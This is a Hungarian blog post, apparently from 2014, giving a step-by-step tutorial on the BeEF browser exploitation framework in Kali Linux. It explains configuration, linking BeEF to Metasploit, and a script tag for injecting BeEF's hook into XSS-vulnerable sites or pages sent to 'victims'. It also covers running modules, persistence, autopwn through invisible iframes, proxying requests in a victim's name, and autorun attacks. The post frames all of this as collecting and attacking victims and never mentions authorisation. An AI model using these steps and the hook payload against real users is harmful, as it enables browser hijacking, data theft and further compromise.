2014. január 4., szombat

Beef avagy a Browser Exploitation Framework

Régebben már volt egy cikk a Beef-ről, de mivel volt rá igény ezért írok egy részletesebbet, amiben megpróbálok minden részletre kitérni. Kezdjük is. A Beef szó a Browser Exploitation Framework a rövidétése. Ebből egyből rájöhetünk hogy mire lehet használni az eszközt... Böngésző sebezhetőségek vannak benne. Kali Linuxon alapból van, ha más rendszert használunk akkor innen le tudjuk tölteni:
Itt találunk segítséget a telepítéshez:
Mivel én Kali-t használok, ezért ezen fogom bemutatni.
Először is navigáljunk a beef könyvtárába: 
cd /usr/share/beef-xss

Van nekünk egy olyan fájlunk hogy config.yaml. Ebben vannak a beef beállításai. Nézzük a fontosabbakat, és hogy mire valók.  

restrictions:
Meg tudjuk adni hogy melyik subnetről akarunk áldozatokat gyűjteni, pl.:
permitted_hooking_subnet: "192.168.0.0/16"
Illetve hogy honnan tudjanak csatlakozni a web interface-hez. (Ha csak egy gépről akarunk hozzáférni ehhez akkor érdemes localhostra állítani)
permitted_ui_subnet: "127.0.0.1/32"

http:
debug: false         
host: "0.0.0.0" - A web szerver IP címe.
port: "3000" - A web szerver portja. (Ha kifele akarjuk használni akkor írjuk át 80-ra)
xhr_poll_timeout: 5000
public: "" -Hogyha nemcsak localon akarjuk használni a beef-t akkor adjuk itt meg a publikus IP-t.
public_port: "" - Meg tudunk adni port címet is, viszont ez még csak kísérleti szakaszban van...
dns_host: "localhost" - A DNS szerver címe.
panel_path: "/ui/panel" - A webpanel elérési útja.
hook_file: "/hook.js" - A hook script elérési útja. (Ez lesz feltöltve a böngészőkbe.)
hook_session_name: "BEEFHOOK" - A munkamenet neve.
session_cookie_name: "BEEFSESSION" - A süti neve.

Az egyetlen dolog amit most módosítani fogunk a fájlban az a legvégén van a kiterjesztéseknél(extensions)
A metasploit-ot kell átírnunk, mert az alapból false-on van. Írjuk át true-ra.
Ahhoz hogy a beef kapcsolódni tudjon a metasploit-hoz még pár változtatást kell eszközölnünk az /extensions/metasploit mappában található config.yaml fájlban is.
A host-ot, és a callback_host-ot kell megváltoztatnunk, és mindkét helyre az IP címünket kell írni. (Ha localon hackelünk akkor a local ip-t, ha nem akk. a public ip-t)
Plusz hogyha nem jó a metasploit elérési útja akkor azt is meg kell változtatni.
Kali esetében hozzá kell adnunk a  custom path-hoz ezt-> ‘/usr/share/metasploit-framework/’

Ha ezek megvannak akkor engedélyezni kell a metasploit-ban az RPC kapcsolatot.
Ezt az alábbi paranccsal tudjuk engedélyezni:
load msgrpc ServerHost=<IP címünk> Pass=abc123

Ezután indítsuk el a beef-t.
És ha mindent jól csináltunk akkor csatlakozik a Metasploithoz.
A proginak lehet adni még argumentumokat is. Itt vannak az érdekesebbek:
-x, --reset                      Reseteli az adatbázist.
-c, --config FILE            Meg lehet neki adni egy speciális konfig fájlt.         

Ha elindult a beef, akkor be tudunk jelentkezni az online felületen.
http://localhost:3000/ui/panel A beef/beef felhasználó, és jelszó párossal.

Ahhoz hogy tudjunk is itt valamit csinálni, áldozatokat kell gyűjtenünk. Ezt megtehetjük úgy hogy keresünk egy XSS-el sebezethő oldalt, és beszúrjuk az alábbi scriptet. Vagy úgy hogy mi készítünk egy oldalt amibe beszúrjuk a scriptet és elküldjük az áldozatnak:
<script src="<IP>:3000/hook.js" type="text/javascript"></script>

Miután az áldozat lefuttatta a scriptet, megjelenik nekünk az Online Browsers menüpontban.
Ha rákattintunk akkor megjelenik felül egy új lap Current Browser névvel. Ezen belül 6 fül található.
1.Details: Ezen a fülön hasznos információkat találhatunk az áldozatról. Pl. Milyen böngészőt, operációs rendszert használ. Milyen komponensek elérhetők a böngészőben stb…
2.Logs: Logok az áldozatról. Mikor csatlakozott, hova kattintott stb..
3.Commands: Ez nekünk a legérdekesebb fül. Innen tudjuk a különböző modulokat futtatni.
Láthatjuk hogy az egyes modulok előtt különböző színes golyók vannak. Ezek azt jelzik hogy fog e futni a modul az áldozat böngészőjében.
Zöld: Fog futni a modul.
Sárga: Fog futni, de az áldozat észreveheti.
Fehér: Nincs még ellenőrizve.
Piros: Nem fog futni, de azért meg lehet próbálni.

Mint láthatjuk nagyon sok modul van a Beef-ben. 12 mappába vannak rendszerezve.
1.Browser: Ebben a mappában főként információ szerzésre alkalmas modulok vannak.
2.Chrome Extensions: Ebben a mappában nagyon jó kis Chrome modulok vannak.
3.Debug: Ez nekünk nem fog kelleni. Csak debugolási célokra rakták bele.
4.Exploits: Ebben a mappában speciális exploitokat találunk. Jól jöhetnek, bár én még sosem használtam őket. :)
5.Host: Ebben a mappában az áldozat gépéről tudhatunk meg információkat.(Nem a böngészőről hanem magáról a gépről)
6.IPEC: IPEC az Inter-protocol Communication rövidítése.
7.Metasploit: Ebben a mappában a metasploitból beimportált exploitokat tudjuk behívni ide is.
8.Misc: Ebben a mappában vegyesen találhatunk mindenféle modulokat.
9.Network: Ebben a mappában hálózati modulok vannak. Pl.: DOSer, Detect Tor.
10.Persistence: Ebben a mappában olyan modulok vannak amik megpróbálnak új kapcsolatokat létesíteni az áldozattal, ez azért jó mert egyébként ha az áldozat bezárja azt a tab-ot amin a mi kis scriptünk fut, akkor elveszítjük a kapcsolatot.
11.Phonegap: Ebben telefonokkal használható modulok vannak.
12.Social Engineering: Ebben a mappában nagyon jó kis social engineering modulok vannak.

Modulokat úgy tudunk futtatni hogy egyszerűen rájuk kattintunk, és miután megnyíltak a jobb alsó sarokban levő Execute gomra kattintunk. Ez elküldi az áldozatnak a kérést. Egy pár másodpercen belül valószínűleg megkapjuk a választ. Ezt úgy tudjuk megnézni hogy a Module Results History-nál rákattintunk az elküldött elemre, és jobb oldalon láthatjuk a választ.

Amit én külön kiemelnék az az hogy Metasploit autopwn-t is tudunk futtatni beef-en keresztül. Nincs külön modul hozzá. A Misc mappán belül viszont van egy olyan modul hogy Create Invisible Iframe, és az URL-nél adjuk meg a Metasploit által adott linket.


4.Rider: Ezen a fülön proxy-t lehet beállítani. Ennek az a lényege hogy az áldozat nevében tudunk kérések küldeni. Viszont ez csak azon az oldalon működik ahol éppen az áldozat van. Más oldalaknak sajnos nem tudunk kéréseket küldeni. A használata elég egyszerű. Bal oldalt az áldozaton jobb klikkel kell kattintani, és Use as Proxy.Ezután a Böngésző beállításainál hozzá kell adni a proxy-t.
5.XssRays: További XSS sebezhetőségeket keres az oldalakban. Ez azért jó nekünk mert így további áldozatokat tudunk gyűjteni.

Beef Konzol:
A beef-nek is van konzolos verziója, olyan mint a Metasploit-nak. Ahhoz hogy ehhez hozzá tudjunk férni, engedélyezni kell a config.yaml fájlban. (Extensions: console: shell: enable: true)
Ezután ha elindítjuk a beef-t egyből a konzolt kapjuk. Ezek a parancsok vannak:

Parancs  Leírás
-----------  --------
?             Megjeleníti a help menüt

back       Visszaelép
exit         Bezárja a konzolt
help        Megjeleníti a help menüt
irb           Átrak egy interaktív Ruby felületre.(exit-el vissza tudok lépni)
jobs        Kilistázza a futó folyamatokat
offline     Kilistázza a korábban hookolt böngészőket
online     Kilistázza az online browsereket
quit         Bezárja a konzol-t
review    Megtámad egy korábban hookolt böngészőt
show      Három paramétere lehet: zombies(megmutatja a zombikat), browsers(megmutatja a   hookolt browsereket), commands(megmutatja a használható modulokat)
target     Ezzel lehet kiválasztani hogy melyik online hookolt böngészőt akarom támadni


Szóval online paranccsal megnézem hogy melyik böngészők vannak online. A target <id>-vel kiválasztom hogy melyik-et akarom támadni. Utána a commands paranccsal megnézem hogy milyen modulokat tudok futtatni. Ezután a select <id> paranccsal kiválasztom hogy melyik modult akarom használni. A cmdinfo paranccsal megnézem hogy kell e neki valamilyen paraméter. Ha van akkor a param <paraméter> paranccsal beállítom. Ha minden kész akkor az execute paranccsal futtatom a modult. A választ a response paranccsal tudom megnézni.

Autorun:
Be tudunk állítani automatikusan elinduló modulokat is. Ez azért király, mert amikor jön egy új hookolt böngésző akkor nekünk nem kell semmit csinálni, automatikusan lefut a modul. Ezt úgy tudjuk engedélyezni hogy megnyitjuk azt a modult amit automatikusan futtani akarunk (pl.: modules/host/get_system_info) és a config.yaml-hoz hozzáadjuk ezt az új sort: autorun = true.